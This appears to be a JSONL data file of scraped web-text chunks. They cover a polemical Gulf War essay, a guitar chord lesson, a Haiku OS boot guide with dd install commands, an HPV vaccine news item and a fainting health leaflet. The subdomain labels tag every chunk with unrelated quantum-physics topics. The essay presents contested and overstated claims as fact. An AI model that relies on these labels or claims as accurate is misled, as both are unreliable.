stand. \u201d on august 6th, cheney received approval from the saudis for a large u. s. deployment. a wider and more \u201c certain \u201d circle was determined to humiliate saddam, leaving him, given his psychology, which he had clearly delineated for glaspie, no choice but to self - destruct. 3. the u. s. disinformed congress and the public to drum up war support for an unpopular war and bribed and bamboozled other countries if the cia, the pentagon, and by summer \u2019 s end the president and secretary of state were fixed on a war with iraq, during the fall of 1990, the american public and congress were not. to change that, the week after iraq invaded kuwait, the kuwaiti government, disguising itself as \u201c citizens for a free kuwait, \u201d hired the global pr firm of hill & knowlton to win americans \u2019 hearts and minds. in charge of the washington office of hill & knowlton was craig fuller, a close friend of george h. w. bush and his chief of staff when he was vice president. for $ 11. 8 million, fuller and more than 100 h & k executives across the country oversaw the selling of the war. they organized public rallies, provided pro - war speakers, lobbied politicians, developed and distributed information kits and news releases, including scores of video news releases shown by stations and networks as if they were bona fide journalism and not paid - for propaganda. did bush and baker mean to maintain the friendlier policy toward iraq and just mismanage, bungling us into war, as murray waas argued at the time? or did they engage in the most machiavellian of", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44383279585691426, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.146748"} {"text": "- for propaganda. did bush and baker mean to maintain the friendlier policy toward iraq and just mismanage, bungling us into war, as murray waas argued at the time? or did they engage in the most machiavellian of manipulations, using a seasoned and apparently sincere diplomat to say one thing as they were planning another? h & k \u2019 s research arm, the wirthlin group, conducted daily polls to identify the messages and language that would resonate most with americans. in the 1992 emmy award - winning canadian broadcasting corp. documentary to sell a war, a wirthlin executive explained that their research had determined the most emotionally moving message to be \u201c saddam hussein was a madman who had committed atrocities even against his own people and had tremendous power to do further damage, and he needed to be stopped. \u201d to fit the bill, h & k concocted stories, including one told by a 15 - year - old kuwaiti girl named nayirah, to another h & k concoction, the house human rights caucus looking to pass as a congressional committee. according to the caucus, nayirah \u2019 s full name would remain secret in order to deter the iraqis from punishing her family in occupied kuwait. the girl wept as she testified before the caucus, apparently still shaken by the atrocity she witnessed as a volunteer in a kuwait city hospital. according to her written testimony, she had seen \u201c the iraqi soldiers come into the hospital with guns and go into the room where \u2026 babies were in incubators. they took the babies out of the incubators, took the incubators and left the babies on the cold floor to die. \u201d during the three months between nayirah \u2019 s testimony and the start of the war, the story of babies tossed from their incubators stunned americans. bush told the story, and television anchors and talk - show hosts recycled it for days. it was read into the congressional record as fact and discussed at the u. n. general assembly. by the time it emerged that nayirah was a kuwaiti royal and the daughter of the kuwaiti ambassador to washington and that she had never volunteered in any hospital and that the incident and her testimony had been provided by h & k, it was too late. the war had already begun. another concoction was top - secret satellite images that the pentagon claimed to have of 250, 000 iraqi troops and 1, 500 tanks on the kuwait - saudi border, visible proof that saddam would be advancing soon on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47048323957997384, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.147807"} {"text": ". the war had already begun. another concoction was top - secret satellite images that the pentagon claimed to have of 250, 000 iraqi troops and 1, 500 tanks on the kuwait - saudi border, visible proof that saddam would be advancing soon on saudi arabia. yet the st. petersburg times acquired two commercial russian satellite images of the same area, taken at the same time, that showed no iraqi troops near the saudi border, and the scientific experts whom the times hired could identify nothing but sand at the supposed location of the advancing army. but the st. petersburg times story evaporated, and the pentagon \u2019 s story stuck. when bush addressed a joint session of congress on sept. 11, 1990, he reported that developments in the gulf were \u201c as significant as they were tragic \u201d : iraqi troops and tanks had moved to the south \u201c to threaten saudi arabia. \u201d saudi reluctance to host foreign troops and bases that would desecrate their sacred sites, the holiest in all of islam, gave way in the face of an imminent invasion, and the war had its staging area. american discomfort with a war to defend a country most had never heard of began to transform into dread that the saudi oil they relied on would be swallowed up by a monster. under u. s. pressure, united nations security council adopted unprecedented resolutions allowing nations to use \u201c all means necessary \u201d for their enforcement. the u. s. won security council votes by forgiving huge loans, recognizing dictatorships diplomatically, agreeing to sell arms, and more. boyle identifies specific violations and subversions of the u. n. charter in these activities, most importantly the mandate to negotiate peaceful resolutions to international disputes. and, according to boyle, in its decision to go to war and in its conduct of the war itself, the u. s. perpetrated a nuremberg crime against peace. as james baker has often admitted, winning allies for the first gulf war in 1991 involved \u201c cajoling, extracting, threatening and occasionally buying votes. \u201d 4. the gulf war \u2019 s stated goal of ejecting iraqi troops from kuwait quickly revealed itself to be destroying iraq the war \u2019 s stated intention was to remove iraq \u2019 s presence from kuwait. but quickly, that intention changed to destroying iraq. the air and missile attack of iraq continued for 42 days, dropping more bombs in that brief period than bombs in all wars in history combined. iraqi aircraft and anti - aircraft or anti - missile ground fire offered no resistance. the aerial and missile bombardment in a matter of hours destroyed", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47404943448919806, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.148773"} {"text": "of iraq continued for 42 days, dropping more bombs in that brief period than bombs in all wars in history combined. iraqi aircraft and anti - aircraft or anti - missile ground fire offered no resistance. the aerial and missile bombardment in a matter of hours destroyed most military communications and over the course of the next few weeks attacked iraqi soldiers who were unable to secure food, water, and equipment due to this breakdown. some 100, 000 iraqi soldiers died, according to general schwarzkopf, most of whom were incapable of fighting. mostly, the allies aimed at civilian facilities \u2014 shelters, mosques, homes, schools, hospitals markets, commercial and business districts, schools, hospitals, mosques, churches, shelters, factories, office buildings, vehicles on highways, bridges, and roads. though estimates of civilian deaths during the war range from 25, 000 to over 100, 000, all count children at above 50 % of the immediate casualties. iraq \u2019 s infrastructure \u2014 which people lived in, worked in, drove on, received medical treatment in, studied in, prayed in, and shopped at \u2014 was bombed, leaving the most sophisticated of arab states in a primitive and catastrophic state. american discomfort with a war to defend a country most had never heard of began to transform into dread that the saudi oil they relied on would be swallowed up by a monster. by most accounts, at least one hundred thousand people died soon after the war from dehydration, dysentery, malnutrition, starvation, and illnesses, from contaminated water, starvation, and exposure to impure water, hunger, cold, and shock. in the period between the end of desert storm and the start of operation iraqi freedom, the degraded environment and sanctions led to the death of an estimated million more, half of them children. medicines, food, baby formula \u2014 these were among the essentials kept from the iraqi people in the initial and ensuing stages of the war against iraq. these were among the essentials that sanctions under both bush presidents and clinton kept from the iraqi people, constituting nuremberg crimes against humanity and the crime of genocide under international and u. s. law, according to legal scholars. 5. a system of censorship was established to hide the true war from the public, including killing of our own and the war \u2019 s launching of al qaeda in the lead - up to war, u. s. media organizations, with rare exceptions, had begun to back away from investigative reporting and journalistic scrutiny. once the war began, government censorship combined with this self - censorship produced", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4316830190489561, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.149826"} {"text": "launching of al qaeda in the lead - up to war, u. s. media organizations, with rare exceptions, had begun to back away from investigative reporting and journalistic scrutiny. once the war began, government censorship combined with this self - censorship produced a media blackout. the restrictions on the press were tighter than during any earlier american war. journalists could not travel except in pools with military escorts, and even then most sites were off - limits. department of defense guidelines stated that stories would not be judged for \u201c potential to express criticism or cause embarrassment, \u201d but journalists weren \u2019 t taking any chances. when news anchors weren \u2019 t hosting retired generals and pundits, or screening eerie green images of the coordinates of the day \u2019 s targets, they were praising the military on a job well done. pentagon censors had to clear all war dispatches, photos and footage before they could be released. two months after the war ended, the editors of 15 news outlets protested to secretary of defense dick cheney about the pentagon \u2019 s control. but the damage had been done. the real war was never reported to the american public. as for our own, we saw no images of returning coffins filled with u. s. service members, nor, in the days and months after the war, coverage of the war \u2019 s aftermath : the almost 300, 000 troops who returned profoundly ill from gulf war illness, a profound physical illness caused by toxins that we released in iraq, sickening and killing the iraqi people and our own troops. it took 18 years for a congressionally - mandated scientific panel to report that the conditions affecting the skin, stomach, minds, hearts, lungs and every other organ of hundreds of thousands of american veterans was not psychological, as the government had insisted for almost 20 years. als ( lou gehrig \u2019 s disease, multiple sclerosis, disabling neuropathies, heart attacks, difficulty breathing, walking standing \u2014 all these, we now know, were caused by neurotoxins including experimental anti nerve gas pills soldiers had to take or risk court martial, insecticides and pesticides that the military administered recklessly, sarin and other gases released into the air when we bombed an iraq military storage facility, with a growing body of evidence regarding the role of depleted uranium. to date, in all the iterations of war in the region, almost a million troops have become patients in the va system, many with systemic illnesses like those inflicted on millions of iraqis and our own soldiers in the first operation", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4124610685738645, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.150875"} {"text": "of depleted uranium. to date, in all the iterations of war in the region, almost a million troops have become patients in the va system, many with systemic illnesses like those inflicted on millions of iraqis and our own soldiers in the first operation of the war against iraq. we heard little about the 20, 000 troops occupying saudi arabia after the war, the growing regional resentment for the destruction and death, injuries and insults of invasion and occupation. for years, we heard little about the saudi muslim radical osama bin laden, his outraged protests, for which he was banished, wandering the region, recruiting young followers to avenge the desecration of islam \u2019 s sacred sites. there was and still is no mainstream media coverage of the roots, just of the proclamations of them versus us, hatemongers versus freedom lovers, barbaric cowards versus civilized heroes. we could read, in time, about bin laden \u2019 s jihad, but little appeared of the fatwa he and his counterparts throughout the middle - east issued, except the often - quoted statement that it was the duty of every muslim \u201c to kill the americans and their allies \u2014 civilians and military, \u201d leaving out the second part of the sentence \u2014 \u201c in order to liberate the al - aqsa mosque and the holy mosque [ mecca ] from their grip, and in order for their armies to move out of all the lands of islam, defeated and unable to threaten any muslim. \u201d the 21st year of war begins the war that supposedly ended on february 28th 1991 legally never ended. and functionally, it merely began the next stage of the war against iraq. interestingly, iraq never signed the ceasefire that ended the immediate fighting. and the u. s. quickly resumed firing on iraq. seymour hersh \u2019 s new yorker article \u201c overwhelming force \u201d exposed a third highway of death, just off highway 8 west of basra, near the rumaila oil field. two days after the ceasefire and the day before peace talks were to begin. two - star general barry mccaffrey overrode his division commander and ordered his 24th division to engage in an all - out attack on a retreating republican guard tank division on their way back to baghdad. as hersh describes it : \u201c apache attack helicopters, bradley fighting vehicles, and artillery units from the 24th division pummelled the five - mile - long iraqi column for hours, destroying some seven hundred iraqi tanks, armored cars, and trucks, and killing not only iraqi soldiers but civilians and children as well. \u201d there were", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43707533703303614, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.151898"} {"text": "and artillery units from the 24th division pummelled the five - mile - long iraqi column for hours, destroying some seven hundred iraqi tanks, armored cars, and trucks, and killing not only iraqi soldiers but civilians and children as well. \u201d there were no u. s. casualties in this massacre, which came to be called the battle of the causeway, the battle of rumaila, and the battle of the junkyard \u2014 for all the exploded tanks and vehicles piled on the road. lieutenant general ronald griffith, commander of 1st armored division of vii corps, told hersh that the iraqi tanks were facing backwards, atop a trailer truck taking them to baghdad. \u201c it was just a bunch of tanks in a train, and he made it a battle, \u201d hersh reports griffith saying, but mccaffrey \u201c made it a battle when it was never one. that \u2019 s the thing that bothered me the most. \u201d made it a battle when it was never one. that statement could summarize u. s. policy toward iraq for the past 20 years. mccaffrey retired a hero, becoming clinton \u2019 s drug czar. and clinton, whose presidency has been romanticized in recent years, maintained his own brutal policies, including a continuous war on iraqi civilians and structures. a policy of brutal sanctions killed at least a million people, and sickened more. no - fly zones, established in 1991 as a condition for peace, were enforced with forceful bombing campaigns. indeed, as raw story editors have argued, the no fly zones protected no one but functioned largely to provoke iraq, providing the u. s. a fresh excuse for renewed attack. in 1993, to retaliate for the attempted assassination of george h. w. bush, clinton bombed iraqi intelligence offices. in 1998, clinton signed the iraq liberation act, whose goals were much the same as those announced by bush jr., namely regime change and the establishment of democracy. at the end of 1998, his operation desert fox, unleashed a four - day aerial bombardment of baghdad and other major cities. and thereafter, u. s. and u. k. planes, at human and material cost, bombed iraq repeatedly, using more firepower, as raw story has calculated, than the military under george w. bush in his lead up to his own war \u2014 or his phase of the longest war. provoke, manipulate, lie to congress, the un, the public, bribe and bamboozle the international community, and, by all means, censor as you go \u2014 for two decades", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3576516718780015, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.152968"} {"text": "a - minor chord variation for guitar working with some of my guitar students in concord and walnut creek ca recently, i took the time to show them some a - minor chord variations for guitar. one of the first chords you typically learn when taking guitar lessons is the open a - minor chord. to add some enhancement and color to songs using the a - minor chord, try the following : on your first down strum ( beat 1 of 4 beats per measure ) remove your left hand 3rd finger. now string 3 has no finger. this changes chord name to a - minor 7th. cool sound but now brace yourself. for second down strum on your guitar slide your left hand am7 ( a minor 7th ) formation up two frets known as a whole step. this creates a lush and very rich but dissonant sound known as a bm7 / a. when you see a slash after chord name, the letter name to the right of slash indicates the bass note thus the open 5th string is known as the \u201c a \u201d. then on final strums on beats 3 and 4 of this simple one measure pattern you must do following : put your left hand 2nd finger on fret 5 string 4 and your left hand 3rd finger on fret 5 string 3 and with strumming hand strum downwards from 5th string. this will give your guitar a rich sound with the open strings. this guitar chord is known as an a - minor 9th. you can apply this to any song where you have 4 strums for a - minor. an example would be bob dylan \u2019 s \u201c knocking on heavens door \u201d. the song starts by two down strums for g and for d and then goes to 4 strums for a - minor. then it does two down strums again for g and d and finishes with 4 strums on c. that \u2019 s the complete song. try playing it on your guitar with the a - minor chord formations and i think you \u2019 ll love the sound by adding the variation to the song. want a free guitar lesson on this and other cool chord variations, email me and let \u2019 s get started ( new guitar or banjo students only ).", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40968724535927686, "token_count": 443, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.155140"} {"text": "this article is intended to explain in a nutshell how booting works in general, what the haiku counterparts of standard boot process elements are and how to get everything together for a working boot in case this is not done automatically. these are things you will encounter installing / booting most operating systems, so it ' s not entirely haiku specific. 1. the basic boot process 1. 1 the bios when you turn on a bios based ( as opposed to firmware based ) system, which is still the most common today, the first thing loaded will be the bios ( basic input output system ). it is like a small operating system of its own and has the purpose of configuring the system hardware and provide an environment that a more high level operating system can work with. for example it configures pci devices, harddrive controllers, usb, the processor itself and sets up acpi tables in main memory. current bioses are quite a bit more advanced than they were in the past, commonly having support for usb keyboards and usb mass storage to allow operating in so called legacy free configurations ( i. e. without the old ps / 2 input and maybe without some of the more traditional pc architecture components ). ok, not going into more detail as that ' s not essential here. so when the bios has done its job, it will try to find a master boot record ( mbr ) on any of the harddisk - like medias or other boot method specific block on other media ( el - torito on cds / dvds for example ). something like a usb memory stick is regarded as being harddisk - like, because it really is emulating a scsi harddisk to the system. when it finds a boot record, it then loads that into memory and instructs the cpu to start execution of the instructions present. 1. 2 the master boot record generally this is just the first block of any harddisk - like medium, usually 512 bytes in length. it contains boot code in the first part and the partition table at the end of the block. what you have there as boot code depends on what boot manager you have installed. you have either installed a boot manager explicitly, for example grub or the beos boot manager, or it was implicitly installed for you when partitioning the device ( during windows setup for example ). boot managers range from totally simple ones that are just enough to find the partition marked active and jump to the partition boot code of said", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5016064166559554, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.168276"} {"text": "boot manager, or it was implicitly installed for you when partitioning the device ( during windows setup for example ). boot managers range from totally simple ones that are just enough to find the partition marked active and jump to the partition boot code of said partition, to almost complete operating systems with editing capabilities and other fancy features. 1. 3 the partition boot record additionally to the master boot record, there can also be a partition boot record. it ' s located at the start of a partition and contains further boot code. depending on the boot manager you are using and how you configured it, this boot code will be executed or not. in the case of haiku the partition boot code does locate the \" / boot / beos / system / zbeos \" file which then starts the operating system boot process. additionally it contains the partition offset needed to access this partition during boot. a wrong value for that offset is probably one of the most common reason why a haiku installation doesn ' t start to boot. as mentioned, whether or not the partition boot code is used depends on the boot manager and boot manager configuration. if you take grub installed as boot manager in the mbr and booting linux. grub knows how to handle most linux filesystems and it does know how to load and start a linux kernel off of it. therefore it can directly load linux without the need for any additional boot code. however grub does neither know how to handle bfs and find the zbeos boot loader, nor would it really know how to execute it. therefore you cannot use grub to directly boot haiku. instead you need to chainload the partition boot code of the bfs partition, as it knows how to handle both the bfs and zbeos. 1. 4 the boot loader after the boot loader ( zbeos in case of beos / haiku ) has been found and loaded into memory, it is executed. the boot loader is the one providing you with the haiku boot menu when pressing the space bar in early boot and is the one detecting basic system configuration. it also contains the logic to find and load the kernel ( kernel _ intel on beos and kernel _ x86 on haiku ) as well as some boot modules required. boot modules include the bus managers, bus and device drivers required by the kernel to successfully access the boot volume to load the rest of the modules and execute anything it needs to fully boot the system. if you boot to an ata harddisk", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.482095414105055, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.169292"} {"text": "required. boot modules include the bus managers, bus and device drivers required by the kernel to successfully access the boot volume to load the rest of the modules and execute anything it needs to fully boot the system. if you boot to an ata harddisk it would require for example the ide or ata bus manager, the harddisk controller driver and the helper modules used by them. booting from usb would require the usb bus manager, the host controller drivers and the usb _ disk driver for example. the boot loader also provides the kernel with configuration information and info about initial memory layout for example. this data passing between the boot loader and the kernel is specific to haiku and the haiku revision, it is possible that the information passed changes from one revision to another. this also makes it obvious that a zbeos from a beos installation cannot work with a haiku kernel. likewise using a beos bootfloppy that provides such a zbeos is not going to boot haiku. 1. 5 the kernel once the kernel is loaded and starts executing it sets up a working environment. memory management, bootstrapping and configuring non - boot cpus, timers, interrupts, filesystems, module infrastructure, drivers... everything that is needed for a fully working system and has not yet been loaded. once this environment is set up, the kernel will start the bootscript, that then launches the different servers to provide a usable userland. 2. installing haiku if you intend to put haiku onto a dedicated partition on your normal harddisk, you have several options to do so depending on your host operating system and wehther or not you intend to use a pre - built image or build from source. 2. 1 building from source building from source generally has the advantage that you can do modifications, include optional packages and that making everything bootable is mostly taken care of automatically. on the other hand it is of course quite a bit more time consuming and resource intensive. see the building haiku on ubuntu linux article for more details if you ' re building from linux. building from windows is described in this tutorial, note though that under windows you can currently only build images and not install directly to a partition. if you ' re building on beos see the tools section of of the getting started page and see this article on getting the source and building it. 2. 2 copying a pre - built image if you can ' t or don '", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45619899702293504, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.170358"} {"text": "a partition. if you ' re building on beos see the tools section of of the getting started page and see this article on getting the source and building it. 2. 2 copying a pre - built image if you can ' t or don ' t want to go through building from source, you can also take an already built image. you can download those from haiku - files. download a raw image, not a vmware one. note that these are test images, they are not complete distributions that include a lot of software, both to keep the size and complexity of building them down. future releases will include a more complete set of software obviously. when you ' ve downloaded the raw image, you need to get this image to the partition or medium you intend to install it to. under beos, linux or basically everything except windows you can use dd to just copy it over, using the partition or drive as a target. # under beos to partition x on the master on the first channel dd if = / path / to / image of = / dev / disk / ide / ata / 0 / master / x # under beos to the raw slave on the first channel ( overwriting the mbr ) dd if = / path / to / image of = / dev / disk / ide / ata / 0 / master / raw # under linux to partition x on the first harddisk dd if = / path / to / image of = / dev / hdax # under linux to the raw second scsi disk ( could be a usb drive ) dd if = / path / to / image of = / dev / sdb make extra sure that you have the right partition picked there, as these commands are destructive. recheck with a partitioning tool to verify for example. note that you ' ll probably need administrative rights under linux, so use sudo or su to execute these commands. if you want to put the image at the absolute start of the drive ( so that you don ' t need an additional boot manager ), make sure that you write to the whole raw drive and not to a partition. you do that by specifying a raw device instead of a partition. under linux you would for example omit the partition number resulting in \" sdb \" instead of \" sdb1 \". under beos you would pick the \"... / raw \" path instead of one with a number. if you use such a command, you overwrite the mbr containing the partition table.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46907175075919105, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.171336"} {"text": "kernel, but essentially the steps are the same. most of the things can and will be further automated when haiku will be released, but others are more complicated and not within the power of haiku. 3. 1 making the partition bootable if you built from source directly to a partition the build system has most probably done the required steps to make the partition bootable automatically. if so you can skip this point and continue with configuring the boot manager below. when you just create a plain partition and initialize it to a bfs filesystem or if you copy over a complete haiku image, this doesn ' t necessarily make the partition bootable. the partition boot record may be missing, or the partition offset could be misconfigured. the prebuilt images for example contain a partition offset of 0 for example, since they are not actually partitioned. they only consist of a direct bfs filesystem, so the offset to that is 0. this will work in exactly one case, where you don ' t actually put it into a partition. if you for example copy such an image directly to a usb drive starting from 0, overwriting the mbr ( destoying all partitions already there ), then this will boot. if you however copy an image to the first partition on your harddisk, this will not work out of the box, as the boot code in the partition boot record won ' t find the desired filesystem at offset 0 ( that ' s where the mbr still is ). to make sure a partition boot record is there and it contains the right partition offset, you can use the tool \" makebootable \". makebootable will do both, write the partition boot code to the beginning of the partition and detect and write the partition offset to where it is needed. you can use the makebootable from beos if you have a beos installation that has access to the partition in question. to do that, mount the volume you have haiku installed to and use : where \" / haikumountpoint \" is where you have mounted your haiku volume to. note that the beos makebootable can be used, because the partition boot record does only load the zbeos boot loader. as haiku does provide a zbeos as well and there is no information passed from the partition boot code to the boot loader, this is compatible between beos and haiku and you can use a beos makebootable with", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46871643742672386, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.173369"} {"text": "- 1 ). in case you are using the beos boot manager, just re - run the \" bootman \" command and add the new haiku partition to the boot menu. if you have another boot manager consult its documentation on how to chainload partitions, most should support such a thing, possibly named a bit different. in doubt just add an entry for the partition, probably this will cause it to chainload, even if not explicitly named so. 4. easy installation through usb drives the above steps should get you going in most cases, but maybe sound a bit scary or involved. my personally recommended method that should work on most current hardware would be to make a dedicated usb drive like a usb memory stick to boot haiku. to do that, you can take a relatively small usb drive that has enough space to fit the image onto. then you just copy that image directly to the raw drive, not to a partition, replacing everything including the mbr, destroying all the partitions that were on there ( see above as to tools to use ). this is destructive and you can ' t use anything after the image size of that drive, but if you get some cheap small usb memory stick just for that purpose it ' s certainly one of the easiest ways to boot haiku. once you ' ve booted haiku you can also do an installation from there, initializing partitions with bfs using drivesetup and using the installer to do a proper installation. note that you cannot currently create partitions under haiku. use your preferred partition tool to create a dedicated partition before booting haiku. note also that the installer doesn ' t have a link in the haiku menu, therefore just run it from the terminal. if you additionally execute it from \" / bin \" this works around the makebootable problem, giving you the commands : that should work and be pretty usable to boot devices that you have no other means to put haiku onto otherwise. this works for example out of the box on the asus eee, but really should work for every usb bootable x86 machine. if it doesn ' t, please make sure that your issue is documented in a bug report at our bug tracker. we cannot fix it if we don ' t know that it ' s broken. i hope this clears up some things. if nothing else this should get you a better starting point for troubleshooting if it indeed doesn ' t boot.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4497870720165995, "token_count": 498, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.175348"} {"text": "wednesday, jan. 4 ( healthday news ) - - nearly one in four girls who gets the human papillomavirus ( hpv ) vaccine mistakenly thinks that her risk of getting other sexually transmitted diseases is lowered, a new study indicates. hpv is the most commonly transmitted sexually transmitted infection ( sti ) in the united states, with nearly 30 percent of sexually active girls aged 14 to 19 infected. some virus types can raise the risk for genital warts and cervical cancer. \" i think it ' s important to counsel [ girls ] about what the vaccine protects against, \" said lead researcher dr. tanya kowalczyk mullins, an assistant professor of pediatrics at the cincinnati children ' s hospital medical center and the university of cincinnati college of medicine. the findings were reported in the january issue of the archives of pediatric and adolescent medicine. two hpv vaccines are now licensed in the united states. one, gardasil, protects against two hpv strains linked with genital warts and two hpv types linked with cervical cancer. another vaccine, cervarix, induces immunity to the two hpv types linked with cervical cancer. the hpv vaccine is recommended by the u. s. centers for disease control and prevention for boys and girls aged 11 to 12, with catch - up immunizations recommended to the age of 26 for women and 21 for men. in the study, mullins polled 339 girls, average age nearly 17, after their first of three hpv doses, and their mothers. nearly 60 percent of the girls were sexually experienced. mullins wanted to know the girls ' perceived risk of getting hpv after the vaccination, their perceived risk of getting other stis and their perceived need for continued safer sex behaviors. \" most girls correctly thought the vaccine does not protect them against stis other than hpv, \" mullins said. however, 24 percent of the girls mistakenly thought they were at lower risk for other stis such as syphilis and gonorrhea after the hpv vaccine, she found. girls who thought this were less likely to have information about the vaccine and about hpv infection. doctors who discuss the hpv vaccine with girls and their parents ' ' may need to emphasize the limitations of the vaccine and to specifically address that the vaccine does not prevent other stis, ' ' the researchers wrote. mullins said it is not known how girls perceive risk after the entire three - dose series. the study was supported by the u. s. national institutes of", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4578932448144745, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.181313"} {"text": "specifically address that the vaccine does not prevent other stis, ' ' the researchers wrote. mullins said it is not known how girls perceive risk after the entire three - dose series. the study was supported by the u. s. national institutes of some study co - authors reported receiving grants from merck, which makes gardasil. one reported doing consulting work for sanofi pasteur, which has marketed gardasil in europe. the study results bear \" no big surprises, \" said dr. h. hunter handsfield, a member of the board of directors for the american social health association and a professor of medicine at the university of washington center for aids and std in seattle. he is an advisor to merck for its hpv vaccine. \" if anything, it ' s a fairly pleasing result that it ' s only 24 percent [ who think the hpv vaccine protects against other stis ], \" he said. before the vaccines were available, handsfield said, \" social and religious conservatives \" expressed worries that teens would practice safe sex less often after getting the vaccine. the latest findings suggest this isn ' t happening by and large, he noted. doctors do need to be clear with their young patients when giving them the hpv vaccine, handsfield said. they need to tell them that the vaccine does not protect against all stis, and that when the patients become sexually active they need to practice safer sex behaviors, such as using condoms. for more on hpv, go to the u. s. national library of medicine.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39152934066645934, "token_count": 313, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.182022"} {"text": "| risk factors fainting is a loss of consciousness that happens quickly and sometimes without warning. a fainting episode usually resolves within seconds to minutes. if fainting is caused by another condition, then the condition will need to be treated. in general, fainting is caused by decreased blood flow to the brain. blood flow to the brain copyright \u00a9 nucleus medical media, inc. decreased blood flow to the brain can be caused by : most commonly, vasovagal spells. vasovagal spells can occur : - during medical procedures - during times of high stress, trauma, or fright - after standing still for a long period of time fainting can also occur as a side effect to medications. these include : - blood pressure medications - medications to regulate heart rhythms - certain antidepressants factors that increase your risk of fainting include having a history of fainting. symptoms may include : - sudden loss of consciousness - inability to remain standing or sitting - consciousness regained without any need for intervention - dizziness or lightheadedness before losing consciousness call your doctor if you are having episodes of fainting. this is especially important if you : - have a heart condition - have a job where you or others may be at risk if you faint. examples include airline pilot, bus driver, or machinist. call for medical help or go to the emergency room right away if you have : - weakness or numbness of face, arm, or leg, especially on the left side of the body - loss of balance, coordination problems - vision problems - severe headache - rapid, irregular heartbeat ; chest pain your doctor will ask about your symptoms and medical history. a physical exam will be done. tests may include : treatment will depend on the underlying condition that has caused fainting. this may include medications, lifestyle changes, or surgery. if you are diagnosed as having fainted, follow your doctor ' s if you are prone to fainting : - know the warning signs. if you feel that you are going to faint, sit or lie down right away. - get up slowly and carefully from lying down. start by sitting up for a minute and then stand up. - drink plenty of fluids. - discuss dietary changes with your doctor. - avoid using alcohol or other drugs. there are certain physical maneuvers that rapidly raise blood pressure and blood flow to the brain. they are called physical counterpressure maneuvers. when these are done during warning signs, you may be able to prevent fainting. examples include : - crossing your legs while tensing the muscles", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5172214164279466, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.185854"} {"text": "that rapidly raise blood pressure and blood flow to the brain. they are called physical counterpressure maneuvers. when these are done during warning signs, you may be able to prevent fainting. examples include : - crossing your legs while tensing the muscles of legs, abdomen, and buttocks. - forcefully squeezing a rubber ball or other object as hard as possible. try to use your dominant hand. - gripping one hand with the other while tensing both arms and raising the elbows slightly. benditt d, goldstein m. fainting. american heart association, circulation website. available at : http : / / circ. ahajournals. org / content / 106 / 9 / 1048. full. published 2002. accessed april 25, 2013. chen ly, benditt dg, et al. management of syncope in adults : an update. mayo clin proc. 2008 ; 83 ( 11 ) : 1280 - 1293. fainting. american academy of family physicians family doctor website. available at : http : / / familydoctor. org / familydoctor / en / diseases - conditions / fainting. html. updated july 2010. accessed april 25, 2013. miller th, kruse je. evaluation of syncope. am fam physician. 2005 ; 72 ( 8 ) : 1492 - 1500. syncope evaluation. ebsco dynamed website. available at : http : / / www. ebscohost. com / dynamed / what. php. updated march 5, 2013. accessed april 25, 2013. 2 / 6 